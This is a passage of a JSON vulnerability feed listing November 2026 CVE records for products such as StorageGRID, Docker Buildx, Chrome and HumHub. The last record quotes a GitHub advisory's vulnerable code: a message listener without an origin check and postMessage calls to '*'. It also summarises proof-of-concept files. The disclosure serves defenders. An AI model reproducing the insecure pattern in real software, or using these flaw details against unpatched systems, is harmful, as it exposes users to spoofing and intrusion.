condition.","published_time":"2026-11-03T23:00:59","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"icscert","references":["https://www.cisa.gov/news-events/ics-advisories/icsa-24-158-02","https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2024/icsa-24-158-02.json"],"products":["Ovation"],"vendors":["Emerson"]},"ghsa":null},{"cve_id":"CVE-2026-22058","summary":"StorageGRID (formerly StorageGRID Webscale) versions 11.3 and higher allow an attacker with product-specific knowledge and the ability to communicate with the Grid Network on certain ports to make unauthorized requests.","cvss":9.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":9.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.netapp.com/advisory/NTAP-20261103-0001"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:47","euvd":{"id":"EUVD-2026-116529","description":"StorageGRID (formerly StorageGRID Webscale) versions 11.3 and higher allow an attacker with product-specific knowledge and the ability to communicate with the Grid Network on certain ports to make unauthorized requests.","published_time":"2026-11-03T21:41:55","cvss":9.1,"cvss_version":"4.0","epss":0.0,"assigner":"netapp","references":["https://security.netapp.com/advisory/NTAP-20261103-0001"],"products":["StorageGRID (formerly StorageGRID Webscale)"],"vendors":["NetApp"]},"ghsa":null},{"cve_id":"CVE-2026-22060","summary":"All versions of StorageGRID (formerly StorageGRID Webscale) in default & common configurations allow an unauthenticated attacker to access a limited set of APIs that are intended for use within the grid.","cvss":6.9,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.9,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://security.netapp.com/advisory/NTAP-20261103-0002"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:47","euvd":{"id":"EUVD-2026-116531","description":"All versions of StorageGRID (formerly StorageGRID Webscale) in default & common configurations allow an unauthenticated attacker to access a limited set of APIs that are intended for use within the grid.","published_time":"2026-11-03T21:45:15","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"netapp","references":["https://security.netapp.com/advisory/NTAP-20261103-0002"],"products":["StorageGRID (formerly StorageGRID Webscale)"],"vendors":["NetApp"]},"ghsa":null},{"cve_id":"CVE-2026-121522","summary":"In BuildKit versions v0.26.0 through v0.34.1, a specific build definition that resolves metadata for the same Git source reference twice can cause the BuildKit daemon to panic and crash, interrupting builds handled by that daemon. The issue is fixed in v0.34.2.","cvss":6.7,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":6.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/moby/buildkit/security/advisories/GHSA-2fqp-xg6f-v7gj"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116537","description":"In BuildKit versions v0.26.0 through v0.34.1, a specific build definition that resolves metadata for the same Git source reference twice can cause the BuildKit daemon to panic and crash, interrupting builds handled by that daemon. The issue is fixed in v0.34.2.","published_time":"2026-11-03T22:09:29","cvss":6.7,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://github.com/moby/buildkit/security/advisories/GHSA-2fqp-xg6f-v7gj"],"products":["buildkit"],"vendors":["moby"]},"ghsa":null},{"cve_id":"CVE-2026-121524","summary":"A flaw has been found in sumiie24 School-Management-System up to d946d649c7c95e101fc5679ecd91999533bb10d7. Affected by this issue is some unknown functionality of the file parent_Login.php of the component Public Search Feature. Executing a manipulation of the argument email can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":5.5,"cvss_version":4.0,"cvss_v2":7.5,"cvss_v3":7.3,"cvss_v4":5.5,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/Sean-798/cve/issues/1","https://vuldb.com/cve/CVE-2026-121524","https://vuldb.com/submit/1019950","https://vuldb.com/vuln/430289","https://vuldb.com/vuln/430289/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116528","description":"A flaw has been found in sumiie24 School-Management-System up to d946d649c7c95e101fc5679ecd91999533bb10d7. Affected by this issue is some unknown functionality of the file parent_Login.php of the component Public Search Feature. Executing a manipulation of the argument email can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. This product utilizes a rolling release system for continuous delivery, and as such, version information for affected or updated releases is not disclosed. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T21:30:19","cvss":6.9,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430289","https://vuldb.com/vuln/430289/cti","https://vuldb.com/cve/CVE-2026-121524","https://vuldb.com/submit/1019950","https://github.com/Sean-798/cve/issues/1"],"products":["school-management-system"],"vendors":["sumiie24"]},"ghsa":null},{"cve_id":"CVE-2026-121531","summary":"A vulnerability has been found in Umami 3.3.x/3.4.0/3.4.1. This affects an unknown part of the file src/app/api/auth/login/route.ts of the component 2FA Policy Handler. The manipulation leads to use of single-factor authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":2.1,"cvss_version":4.0,"cvss_v2":6.5,"cvss_v3":6.3,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/umami-software/umami/security/advisories/GHSA-29fx-pxjg-35rm","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/03-umami-enforced-2fa-not-applied.md","https://vuldb.com/cve/CVE-2026-121531","https://vuldb.com/submit/1019994","https://vuldb.com/vuln/430290","https://vuldb.com/vuln/430290/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116530","description":"A vulnerability has been found in Umami 3.3.x/3.4.0/3.4.1. This affects an unknown part of the file src/app/api/auth/login/route.ts of the component 2FA Policy Handler. The manipulation leads to use of single-factor authentication. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T21:45:07","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430290","https://vuldb.com/vuln/430290/cti","https://vuldb.com/cve/CVE-2026-121531","https://vuldb.com/submit/1019994","https://github.com/waterhunter2000-svg/vulnerability-reports","https://github.com/umami-software/umami/security/advisories/GHSA-29fx-pxjg-35rm","https://github.com/waterhunter2000-svg/vulnerability-reports/blob/main/03-umami-enforced-2fa-not-applied.md"],"products":["Umami","Umami","Umami"],"vendors":["n/a"]},"ghsa":null},{"cve_id":"CVE-2026-121541","summary":"In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition that builds multiple targets together may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, filesystem paths from some targets are not verified against the approved entitlements. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.","cvss":5.6,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":5.6,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/docker/buildx/security/advisories/GHSA-xg6v-cv2h-2w5h"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116536","description":"In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition that builds multiple targets together may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, filesystem paths from some targets are not verified against the approved entitlements. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.","published_time":"2026-11-03T22:01:09","cvss":5.6,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://github.com/docker/buildx/security/advisories/GHSA-xg6v-cv2h-2w5h"],"products":["Docker Buildx"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-121542","summary":"In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, paths under the same parent directory as the current working directory whose names use the working directory's basename as a prefix can skip the filesystem entitlement check. Exploitation requires specific matching filenames next to the current project directory. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.","cvss":1.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":1.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/docker/buildx/security/advisories/GHSA-rghq-x9hf-hc3r"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116534","description":"In Docker Buildx versions v0.19.0 through v0.38.0, an untrusted Bake definition may expose files accessible to the Buildx client without the expected fs.read approval. Under certain conditions, paths under the same parent directory as the current working directory whose names use the working directory's basename as a prefix can skip the filesystem entitlement check. Exploitation requires specific matching filenames next to the current project directory. Users who run untrusted Bake definitions may be affected. The issue is fixed in v0.38.1.","published_time":"2026-11-03T21:59:06","cvss":1.8,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://github.com/docker/buildx/security/advisories/GHSA-rghq-x9hf-hc3r"],"products":["Docker Buildx"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-121614","summary":"Docker Sandboxes versions 0.31.0 before 0.50.0 do not neutralize repository-controlled Git configuration when running certain host-side Git commands. An attacker who can modify a host repository's Git configuration, for example through a direct-mode sandbox with the repository mounted read-write, can configure core.fsmonitor or another Git setting that invokes an external program. Git can execute the program during a later clone-mode fetch or, starting in version 0.39.0, an sbx kit push initiated by the user. The program runs on the host with the invoking user's permissions, outside the sandbox's microVM isolation. The read-only host repository mount provided to a clone-mode sandbox does not itself allow that sandbox to modify the host repository's Git configuration. The issue is fixed in version 0.50.0.","cvss":7.1,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://docs.docker.com/ai/sandboxes/","https://docs.docker.com/ai/sandboxes/security/isolation/","https://github.com/docker/sbx-releases/releases/tag/v0.50.0"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:46","euvd":{"id":"EUVD-2026-116532","description":"Docker Sandboxes versions 0.31.0 before 0.50.0 do not neutralize repository-controlled Git configuration when running certain host-side Git commands. An attacker who can modify a host repository's Git configuration, for example through a direct-mode sandbox with the repository mounted read-write, can configure core.fsmonitor or another Git setting that invokes an external program. Git can execute the program during a later clone-mode fetch or, starting in version 0.39.0, an sbx kit push initiated by the user. The program runs on the host with the invoking user's permissions, outside the sandbox's microVM isolation. The read-only host repository mount provided to a clone-mode sandbox does not itself allow that sandbox to modify the host repository's Git configuration. The issue is fixed in version 0.50.0.","published_time":"2026-11-03T21:54:58","cvss":7.1,"cvss_version":"4.0","epss":0.0,"assigner":"Docker","references":["https://docs.docker.com/ai/sandboxes/","https://docs.docker.com/ai/sandboxes/security/isolation/","https://github.com/docker/sbx-releases/releases/tag/v0.50.0"],"products":["Docker Sandboxes"],"vendors":["Docker"]},"ghsa":null},{"cve_id":"CVE-2026-120930","summary":"Incorrect authorization in Blink in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","https://issues.chromium.org/issues/515948871"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:31","euvd":{"id":"EUVD-2026-116385","description":"Incorrect authorization in Blink in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T21:20:22","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","https://issues.chromium.org/issues/515948871"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-120931","summary":"Out of bounds write in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","https://issues.chromium.org/issues/550607402"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:31","euvd":{"id":"EUVD-2026-116384","description":"Out of bounds write in WebGL in Google Chrome on on Android prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T21:20:18","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","https://issues.chromium.org/issues/550607402"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-118865","summary":"An authenticated OS command injection vulnerability exists in the Offline Download component (USB storage allocation) of Archer AX3000 v2. When a USB storage device is attached, an authenticated administrator can submit a crafted path value containing shell metacharacters that is not properly neutralized before being passed to a system command. \n\nSuccessful exploitation may allow arbitrary command execution on the affected device.","cvss":7.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.tp-link.com/us/support/download/archer-ax3000/v2.60/#Firmware","https://www.tp-link.com/us/support/faq/5380/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:29","euvd":{"id":"EUVD-2026-116533","description":"An authenticated OS command injection vulnerability exists in the Offline Download component (USB storage allocation) of Archer AX3000 v2. When a USB storage device is attached, an authenticated administrator can submit a crafted path value containing shell metacharacters that is not properly neutralized before being passed to a system command. \n\nSuccessful exploitation may allow arbitrary command execution on the affected device.","published_time":"2026-11-03T21:56:54","cvss":7.3,"cvss_version":"4.0","epss":0.0,"assigner":"TPLink","references":["https://www.tp-link.com/us/support/download/archer-ax3000/v2.60/#Firmware","https://www.tp-link.com/us/support/faq/5380/"],"products":["Archer AX3000 v2"],"vendors":["TP-Link Systems Inc."]},"ghsa":null},{"cve_id":"CVE-2026-119084","summary":"Unsafe reflection in the connection parameter and credentials profile handling of Amazon Redshift JDBC Driver before 2.3.0 might allow an actor who can influence the JDBC connection URL or the AWS credentials profile to execute arbitrary code in the application context, provided a suitable class is available on the application classpath.\n\n\n\nTo remediate this issue, users should upgrade to version 2.3.0 or later.","cvss":9.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":9.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-168-aws/","https://github.com/aws/amazon-redshift-jdbc-driver/releases/tag/v2.3.0","https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-qrph-v96m-w2mv"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:29","euvd":{"id":"EUVD-2026-116383","description":"Unsafe reflection in the connection parameter and credentials profile handling of Amazon Redshift JDBC Driver before 2.3.0 might allow an actor who can influence the JDBC connection URL or the AWS credentials profile to execute arbitrary code in the application context, provided a suitable class is available on the application classpath.\n\n\n\nTo remediate this issue, users should upgrade to version 2.3.0 or later.","published_time":"2026-11-03T21:05:30","cvss":9.2,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/aws/amazon-redshift-jdbc-driver/releases/tag/v2.3.0","https://aws.amazon.com/security/security-bulletins/2026-168-aws/","https://github.com/aws/amazon-redshift-jdbc-driver/security/advisories/GHSA-qrph-v96m-w2mv"],"products":["amazon-redshift-jdbc-driver"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-115541","summary":"HumHub Community Edition 1.19.0 contains a stored cross-site scripting vulnerability in the friendship confirmation dialog. An authenticated low-privileged member can save HTML in their first and last name. When another authenticated user clicks Friends for that profile, HumHub places the decoded display name into a modal through jQuery html(), causing attacker-controlled markup to execute in the victim's HumHub origin.","cvss":7.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":7.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://fluidattacks.com/advisories/toujours","https://github.com/humhub/humhub","https://github.com/humhub/humhub/pull/8624","https://github.com/humhub/humhub/pull/8625","https://github.com/humhub/humhub/releases/tag/v1.18.7","https://github.com/humhub/humhub/releases/tag/v1.19.3","https://github.com/humhub/humhub/security/advisories/GHSA-ph8x-wg86-qp2m"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:19:17","euvd":{"id":"EUVD-2026-116535","description":"HumHub Community Edition 1.19.0 contains a stored cross-site scripting vulnerability in the friendship confirmation dialog. An authenticated low-privileged member can save HTML in their first and last name. When another authenticated user clicks Friends for that profile, HumHub places the decoded display name into a modal through jQuery html(), causing attacker-controlled markup to execute in the victim's HumHub origin.","published_time":"2026-11-03T21:59:59","cvss":7.2,"cvss_version":"4.0","epss":0.0,"assigner":"Fluid Attacks","references":["https://fluidattacks.com/advisories/toujours","https://github.com/humhub/humhub","https://github.com/humhub/humhub/security/advisories/GHSA-ph8x-wg86-qp2m","https://github.com/humhub/humhub/pull/8624","https://github.com/humhub/humhub/pull/8625","https://github.com/humhub/humhub/releases/tag/v1.19.3","https://github.com/humhub/humhub/releases/tag/v1.18.7"],"products":["HumHub Community Edition","HumHub Community Edition"],"vendors":["humhub"]},"ghsa":null},{"cve_id":"CVE-2026-112354","summary":"Etrel INCH AC charging station management web interface prior to firmware versions 7.1.2 and 8.0.1 contains a hard-coded default credentials vulnerability that allows remote attackers to gain full Administrator access by authenticating with the factory-default account. Attackers can log in over cleartext HTTP to obtain complete charger configuration, OCPP ChargePoint Identity, and CSMS WebSocket connection details, enabling unauthorized administrative control of the charging station.","cvss":9.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":9.8,"cvss_v4":9.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://etrel.atlassian.net/wiki/spaces/EKC/pages/5064097853/Etrel+INCH+Firmware","https://etrel.com/","https://www.vulncheck.com/advisories/etrel-inch-ac-charging-station-hard-coded-default-credentials"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T22:17:44","euvd":{"id":"EUVD-2026-116382","description":"Etrel INCH AC charging station management web interface prior to firmware versions 7.1.2 and 8.0.1 contains a hard-coded default credentials vulnerability that allows remote attackers to gain full Administrator access by authenticating with the factory-default account. Attackers can log in over cleartext HTTP to obtain complete charger configuration, OCPP ChargePoint Identity, and CSMS WebSocket connection details, enabling unauthorized administrative control of the charging station.","published_time":"2026-11-03T21:05:28","cvss":9.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulnCheck","references":["https://etrel.atlassian.net/wiki/spaces/EKC/pages/5064097853/Etrel+INCH+Firmware","https://etrel.com/","https://www.vulncheck.com/advisories/etrel-inch-ac-charging-station-hard-coded-default-credentials"],"products":["Etrel INCH","Etrel INCH"],"vendors":["Etrel d.o.o."]},"ghsa":null},{"cve_id":"CVE-2026-95860","summary":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","cvss":9.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698","https://github.com/node-opcua/node-opcua/pull/1580","https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0","https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:45","euvd":{"id":"EUVD-2026-116210","description":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","published_time":"2026-11-03T20:11:38","cvss":9.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f","https://github.com/node-opcua/node-opcua/pull/1580","https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698","https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0"],"products":["node-opcua"],"vendors":["node-opcua"]},"ghsa":null},{"cve_id":"CVE-2026-82160","summary":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Script injection.","cvss":3.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:44","euvd":{"id":"EUVD-2026-116378","description":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Script injection.","published_time":"2026-11-03T20:56:23","cvss":3.3,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"products":["Wyse Management Suite"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-82161","summary":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","cvss":6.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":6.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:44","euvd":{"id":"EUVD-2026-116376","description":"Dell Wyse Management Suite, versions prior to 2609.0.0.155, contain an Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Script injection.","published_time":"2026-11-03T20:54:36","cvss":6.8,"cvss_version":"3.1","epss":0.0,"assigner":"dell","references":["https://www.dell.com/support/kbdoc/en-us/000506515/dsa-2026-405-security-update-for-dell-wyse-management-suite-wms-for-multiple-vulnerabilities"],"products":["Wyse Management Suite"],"vendors":["Dell"]},"ghsa":null},{"cve_id":"CVE-2026-76894","summary":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to 0.4.112, the DataStore table UI in src/resources/datastore-table-ui.ts accepts window message events without validating event.origin and sends JSON-RPC messages through postMessage with a wildcard target origin. A frame that can reach the embedded document can inject fabricated fields or records, spoof pending ui/initialize responses, disrupt the MCP UI handshake, or receive outbound messages when the resource is embedded by an untrusted parent. Values are HTML escaped, so the demonstrated content injection is display spoofing rather than script execution, and exploitability depends on the host embedding model. This issue is fixed in version 0.4.112.","cvss":3.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":3.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/ondata/ckan-mcp-server/commit/3b827af72b228d42aa7b0d7dac5347d16af3f4e5","https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.112","https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-vqff-r82h-9crc"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:43","euvd":{"id":"EUVD-2026-116490","description":"CKAN MCP Server is a tool for querying CKAN open data portals. Prior to 0.4.112, the DataStore table UI in src/resources/datastore-table-ui.ts accepts window message events without validating event.origin and sends JSON-RPC messages through postMessage with a wildcard target origin. A frame that can reach the embedded document can inject fabricated fields or records, spoof pending ui/initialize responses, disrupt the MCP UI handshake, or receive outbound messages when the resource is embedded by an untrusted parent. Values are HTML escaped, so the demonstrated content injection is display spoofing rather than script execution, and exploitability depends on the host embedding model. This issue is fixed in version 0.4.112.","published_time":"2026-11-03T20:33:35","cvss":3.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/ondata/ckan-mcp-server/security/advisories/GHSA-vqff-r82h-9crc","https://github.com/ondata/ckan-mcp-server/commit/3b827af72b228d42aa7b0d7dac5347d16af3f4e5","https://github.com/ondata/ckan-mcp-server/releases/tag/v0.4.112"],"products":["ckan-mcp-server"],"vendors":["ondata"]},"ghsa":{"id":"GHSA-vqff-r82h-9crc","summary":"ckan-mcp-server: DataStore Table UI resource does not validate postMessage origin (in) and posts to targetOrigin \"*\" (out)","details":"## Summary\n\nThe MCP Apps UI resource (an interactive DataStore table rendered in the host's webview/iframe) communicates with its parent via `postMessage`. Its inbound `message` listener performs no `event.origin` validation, and its outbound messages are sent with target origin `'*'`. Any window/frame able to reach the document can inject data into the table and interfere with the MCP UI handshake, and the UI's own JSON-RPC messages are broadcast without an origin restriction.\n\n## Affected code\n\n`src/resources/datastore-table-ui.ts` (inline HTML):\n\n```js\nwindow.addEventListener('message', function (event) {\n  var msg = event.data;                    // no check of event.origin\n  if (!msg || typeof msg !== 'object') return;\n  if (msg.id !== undefined && _pending[msg.id]) { ... resolve/reject pending MCP request ... }\n  ...\n  if (data && (data.fields || data.records)) initTable(data);   // renders attacker-supplied data\n});\n\n// outbound:\nwindow.parent.postMessage({ jsonrpc: '2.0', id: id, method: method, params: params || {} }, '*');\nmcpNot: window.parent.postMessage({ jsonrpc:'2.0', method:method, params:params||{} }, '*');\n```\n\nThere is no allowlist of accepted origins for inbound messages and no fixed target origin for outbound messages.\n\n## Impact\n\n- **Content spoofing.** A frame that can `postMessage` to the UI can supply\n  arbitrary `fields`/`records`, causing the table to render fabricated rows and\n  links (e.g. a phishing `__link_url`) that appear to come from the queried\n  portal. (Values are HTML-escaped, so this is display spoofing, not script\n  injection — no XSS.)\n- **Handshake/UX interference.** Because inbound messages matching a pending `id`\n  resolve/reject the UI's MCP requests, an attacker frame can spoof responses to\n  the `ui/initialize` handshake or otherwise disrupt the panel.\n- **Outbound leakage.** Posting to `'*'` means the UI's JSON-RPC messages are\n  delivered to whatever the parent origin is; if the resource is ever embedded by\n  a context other than the trusted host, those messages leak to it.\n\nExploitability depends on the host embedding model (in a correct MCP Apps host the\nparent is the trusted host, which limits who can message the frame), so this is a\nhardening / defense-in-depth issue rather than a directly remotely-triggerable\none — hence Low.\n\n## Proof of concept\n\n- `poc/verify-no-origin-check.mjs` — static confirmation that the listener has no\n  origin check and outbound uses `'*'`:\n\n  ```\n  [x] validates event.origin             : NO\n  [x] outgoing postMessage targetOrigin  : '*' (any)\n  RESULT: VULNERABLE\n  ```\n\n- `poc/parent-spoof-poc.html` — a page that embeds the UI and injects fabricated\n  rows cross-origin with no handshake; the UI renders them.\n\n## Remediation\n\n- Validate `event.origin` against the expected host origin on every inbound\n  message; drop messages from other origins.\n- Send outbound `postMessage` with an explicit target origin (the host origin\n  established at initialize time) instead of `'*'`.\n- Optionally, bind to a nonce/channel established during `ui/initialize` so only\n  the negotiated host can drive the 